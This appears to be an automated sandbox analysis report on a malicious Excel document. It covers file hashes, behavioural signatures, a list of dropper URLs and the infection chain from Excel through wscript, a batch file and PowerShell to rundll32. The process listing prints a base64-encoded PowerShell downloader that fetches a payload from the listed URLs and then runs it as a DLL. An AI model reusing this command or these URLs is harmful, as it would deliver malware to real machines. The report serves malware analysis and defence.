Analysis

  • max time kernel
    30s
  • max time network
    17s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    20-11-2024 21:13

General

  • Target

    75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803.xls

  • Size

    122KB

  • MD5

    316cbded4130613ed2b096a562108966

  • SHA1

    46828254f96c15dc18c02322e950187791df27ea

  • SHA256

    75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803

  • SHA512

    8d32bcc6ec3cea0860839a042d9471ff923bf5b06f1ad68011bce0dd18075023a21e52f8c3ce112130983060909e6b88b210a5a6a50f08737af3f5f70a68a151

  • SSDEEP

    3072:9Oehv7q2Pjx45uoDGTj+5xtekEvi8/dgZBFoTLTmxW5WxVe+41WsdiXUchlL:Qehv7q2Pjx45uoDGTj+5xtFEvi8/dgZ3

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://midnightsilvercrafters.com/store/wBjNOUw/

exe.dropper

http://tempral.com/NATE_05_22_2009/BI710N4cQ6R3/

exe.dropper

https://redington.karmatechmediaworks.com/wp-content/3JVuVx7QUM/

exe.dropper

https://uhc.karmatechmediaworks.com/wp-content/0EqfdeznntlOpaIP2Qv/

exe.dropper

https://servilogic.net/b/14hqrdyP0Z3WsbQib8/

exe.dropper

https://comezmuhendislik.com/ljfrmm/VTpHRFWoORAHnRQ3aQL/

exe.dropper

http://webmail.glemedical.com/wp-content/J1M2xxodH/

exe.dropper

http://toto.karmatechmediaworks.com/wp-content/i826vbcVgRJ/

exe.dropper

https://golfpia.karmatechmediaworks.com/wp-content/oEicpDnEkk/

exe.dropper

https://fortiuspharma.com/y6krss/EGm347cqj5/

exe.dropper

https://garyjharris.com/cgi-bin/0hH/

exe.dropper

https://vietnam.karmatechmediaworks.com/wp-content/PfSVQagusZy7AaMw/

exe.dropper

https://vinculinc.karmatechmediaworks.com/wp-content/VlcOPPwgidWlXDJNs6/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Office loads VBA resources, possible macro or embedded object present
  • Enumerates system info in registry 2 TTPs 1 IoCs
  • Modifies registry class 64 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 23 IoCs

Processes

  • C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE
    "C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE" /dde C:\Users\Admin\AppData\Local\Temp\75c2d4c330eac5c23f9848f7fe7efb5606feeaed9ac856d4ab4062d61523f803.xls
    1⤵
    • System Location Discovery: System Language Discovery
    • Enumerates system info in registry
    • Modifies registry class
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:2408
    • C:\Windows\SysWOW64\wscript.exe
      wscript c:\programdata\oue4hjld.vbs
      2⤵
      • Process spawned unexpected child process
      • System Location Discovery: System Language Discovery
      • Suspicious use of WriteProcessMemory
      PID:2956
      • C:\Windows\SysWOW64\cmd.exe
        cmd /c ""C:\programdata\bhnasleil.bat" "
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:796
        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABNAEoAWABkAGYAcwBoAEQAcgBmAEcAWgBzAGUAcwA0AD0AIgBoAHQAdABwADoALwAvAG0AaQBkAG4AaQBnAGgAdABzAGkAbAB2AGUAcgBjAHIAYQBmAHQAZQByAHMALgBjAG8AbQAvAHMAdABvAHIAZQAvAHcAQgBqAE4ATwBVAHcALwAsAGgAdAB0AHAAOgAvAC8AdABlAG0AcAByAGEAbAAuAGMAbwBtAC8ATgBBAFQARQBfADAANQBfADIAMgBfADIAMAAwADkALwBCAEkANwAxADAATgA0AGMAUQA2AFIAMwAvACwAaAB0AHQAcABzADoALwAvAHIAZQBkAGkAbgBnAHQAbwBuAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvADMASgBWAHUAVgB4ADcAUQBVAE0ALwAsAGgAdAB0AHAAcwA6AC8ALwB1AGgAYwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwAwAEUAcQBmAGQAZQB6AG4AbgB0AGwATwBwAGEASQBQADIAUQB2AC8ALABoAHQAdABwAHMAOgAvAC8AcwBlAHIAdgBpAGwAbwBnAGkAYwAuAG4AZQB0AC8AYgAvADEANABoAHEAcgBkAHkAUAAwAFoAMwBXAHMAYgBRAGkAYgA4AC8ALABoAHQAdABwAHMAOgAvAC8AYwBvAG0AZQB6AG0AdQBoAGUAbgBkAGkAcwBsAGkAawAuAGMAbwBtAC8AbABqAGYAcgBtAG0ALwBWAFQAcABIAFIARgBXAG8ATwBSAEEASABuAFIAUQAzAGEAUQBMAC8ALABoAHQAdABwADoALwAvAHcAZQBiAG0AYQBpAGwALgBnAGwAZQBtAGUAZABpAGMAYQBsAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8ASgAxAE0AMgB4AHgAbwBkAEgALwAsAGgAdAB0AHAAOgAvAC8AdABvAHQAbwAuAGsAYQByAG0AYQB0AGUAYwBoAG0AZQBkAGkAYQB3AG8AcgBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBpADgAMgA2AHYAYgBjAFYAZwBSAEoALwAsAGgAdAB0AHAAcwA6AC8ALwBnAG8AbABmAHAAaQBhAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAG8ARQBpAGMAcABEAG4ARQBrAGsALwAsAGgAdAB0AHAAcwA6AC8ALwBmAG8AcgB0AGkAdQBzAHAAaABhAHIAbQBhAC4AYwBvAG0ALwB5ADYAawByAHMAcwAvAEUARwBtADMANAA3AGMAcQBqADUALwAsAGgAdAB0AHAAcwA6AC8ALwBnAGEAcgB5AGoAaABhAHIAcgBpAHMALgBjAG8AbQAvAGMAZwBpAC0AYgBpAG4ALwAwAGgASAAvACwAaAB0AHQAcABzADoALwAvAHYAaQBlAHQAbgBhAG0ALgBrAGEAcgBtAGEAdABlAGMAaABtAGUAZABpAGEAdwBvAHIAawBzAC4AYwBvAG0ALwB3AHAALQBjAG8AbgB0AGUAbgB0AC8AUABmAFMAVgBRAGEAZwB1AHMAWgB5ADcAQQBhAE0AdwAvACwAaAB0AHQAcABzADoALwAvAHYAaQBuAGMAdQBsAGkAbgBjAC4AawBhAHIAbQBhAHQAZQBjAGgAbQBlAGQAaQBhAHcAbwByAGsAcwAuAGMAbwBtAC8AdwBwAC0AYwBvAG4AdABlAG4AdAAvAFYAbABjAE8AUABQAHcAZwBpAGQAVwBsAFgARABKAE4AcwA2AC8AIgAuAHMAUABMAEkAdAAoACIALAAiACkAOwAgAGYAbwBSAGUAQQBDAGgAKAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAGkATgAgACQATQBKAFgAZABmAHMAaABEAHIAZgBHAFoAcwBlAHMANAApAHsAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkAD0AKAAiAGMAaQB1AHcAZAA6AGkAdQB3AGQAXABwAHIAaQB1AHcAZABvAGcAaQB1AHcAZAByAGEAbQBpAHUAdwBkAGQAYQB0AGkAdQB3AGQAYQBcAHYAeABjAGoAawBmAGgAZAAuAGQAaQB1AHcAZABsAGkAdQB3AGQAbAAiACkALgByAGUAUABsAEEAQwBlACgAIgBpAHUAdwBkACIALAAiACIAKQA7AGkAbgBWAE8AawBlAC0AdwBlAEIAcgBFAHEAVQBlAHMAVAAgAC0AdQBSAEkAIAAkAHkASQBkAHMAUgBoAHkAZQAzADQAcwB5AHUAZgBnAHgAagBjAGQAZgAgAC0AbwBVAHQARgBJAGwAZQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAA7AGkARgAoAHQAZQBTAHQALQBwAEEAVABoACAAJABHAHcAZQBZAEgANQA3AHMAZQBkAHMAdwBkACkAewBpAGYAKAAoAGcARQB0AC0AaQB0AEUAbQAgACQARwB3AGUAWQBIADUANwBzAGUAZABzAHcAZAApAC4AbABlAE4ARwB0AGgAIAAtAGcAZQAgADQANwA0ADMANgApAHsAYgBSAGUAYQBrADsAfQB9AH0A
          4⤵
          • System Location Discovery: System Language Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:572
      • C:\Windows\SysWOW64\cmd.exe
        "C:\Windows\System32\cmd.exe" /c start /B c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
        3⤵
        • System Location Discovery: System Language Discovery
        • Suspicious use of WriteProcessMemory
        PID:2040
        • \??\c:\windows\syswow64\rundll32.exe
          c:\windows\syswow64\rundll32.exe c:\programdata\vxcjkfhd.dll,ganw4ls
          4⤵
          • System Location Discovery: System Language Discovery
          PID:2292

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\programdata\bhnasleil.bat

    Filesize

    3KB

    MD5

    0f96848827a2960f874bcf613ce1e72c

    SHA1

    d936a765910adaf627fc6459716847fd87595ea2

    SHA256

    9e9915a1e009b7a9283629e5a1a66604915030b445c1f266914955299563473e

    SHA512

    00f04d42d544c0564ca4d435fbc0803ebcd8eabaa45abc852b449beffb4f3701681b8c908f580640e71686255c83aa698f10ea75a51dd0bf76c177132e86b862

  • \??\c:\programdata\oue4hjld.vbs

    Filesize

    604B

    MD5

    a0e5c8b0ad3da42bf6952871a41bf5e8

    SHA1

    cd2106ebaf43d596057457e87cf4c8482e246005

    SHA256

    5c3d66e2d33dfb51c691010af5d0a87250aa475235b537a336c607ade93a881a

    SHA512

    c685cc80c128087b6711ab65c7a0f2c63f55dfbab8577aea20d668112f77a0e69e7e350ff314201e93b8ef79f72764c79fc20e903c1a1f973e37ae3a873ff725

  • memory/2408-49-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-69-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-0-0x000000005FFF0000-0x0000000060000000-memory.dmp

    Filesize

    64KB

  • memory/2408-55-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-70-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-84-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-83-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-36-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-97-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-3-0x0000000006E80000-0x0000000006F80000-memory.dmp

    Filesize

    1024KB

  • memory/2408-1-0x0000000072A8D000-0x0000000072A98000-memory.dmp

    Filesize

    44KB

  • memory/2408-102-0x0000000072A8D000-0x0000000072A98000-memory.dmp

    Filesize

    44KB

  • memory/2408-103-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-104-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB

  • memory/2408-105-0x0000000006380000-0x0000000006480000-memory.dmp

    Filesize

    1024KB